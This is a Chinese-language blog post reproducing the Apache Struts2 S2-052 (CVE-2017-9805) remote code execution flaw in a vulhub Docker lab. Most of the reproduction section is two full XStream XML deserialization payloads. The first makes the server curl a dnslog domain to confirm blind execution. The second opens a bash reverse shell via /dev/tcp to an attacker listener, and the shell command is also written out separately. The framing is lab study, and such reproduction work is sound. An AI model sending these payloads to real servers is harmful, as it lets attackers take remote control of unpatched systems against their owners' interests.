CVE-2017-9805 S2-052远程代码执行漏洞

原创

用户8478947

发布于 2022-12-08 14:59:13

4760

发布于 2022-12-08 14:59:13

1 漏洞信息

漏洞名称	远程代码执行漏洞
漏洞编号	CVE-2017-9805
危害等级	高危
漏洞类型	中间件漏洞
漏洞厂商	Apache
漏洞组件	Struts2
受影响版本	2.1.2 <= Struts2 <= 2.3.33，2.5 <= Struts2 = 2.5.12
漏洞概述	REST plugin是其中的一个处理传入URL请求的插件。攻击者可以通过构造恶意XML请求在目标服务器上远程执行任意代码。漏洞的成因是由于使用XStreamHandler反序列化XStream实例的时候没有执行严格的过滤导致远程代码执行。

2 环境搭建

2.1 环境概述

Linux操作系统

2.2 搭建过程

拉取镜像

 cd vulhub/struts2/s2-052
 docker-compose up -d

访问http://192.168.146.158:8052/orders.xhtml

3 漏洞复现

由于该漏洞是无回显的，所以需要我们使用dnslog进行判断。http://www.dnslog.cn/

添加一个恶意payload，并且修改Content-Type为xml。

 <map> 
 <entry> 
 <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
 <command>
 <string>curl</string>
 <string>http://fjw7qo.dnslog.cn</string>
 </command> 
 <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
 </entry> 
 </map>

发现有数据，说明该漏洞成功执行了curl http://fjw7qo.dnslog.cn，对我们申请的dnslog进行了访问。

接下来开始反弹shell

 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 注意：需要把&符号更改为&amp;
 bash -i >&amp; /dev/tcp/192.168.146.158/9999 0>&amp;1

访问漏洞url并且添加恶意payload进行抓包。

 <map> 
 <entry> 
 <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> 
 <command>
 <string>bash</string>
 <string>-c</string>
 <string>
 bash -i >&amp; /dev/tcp/192.168.146.158/9999 0>&amp;1
 </string>
 </command> 
 <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> 
 </entry> 
 </map>

攻击机进行监听，然后发现成功反弹了shell。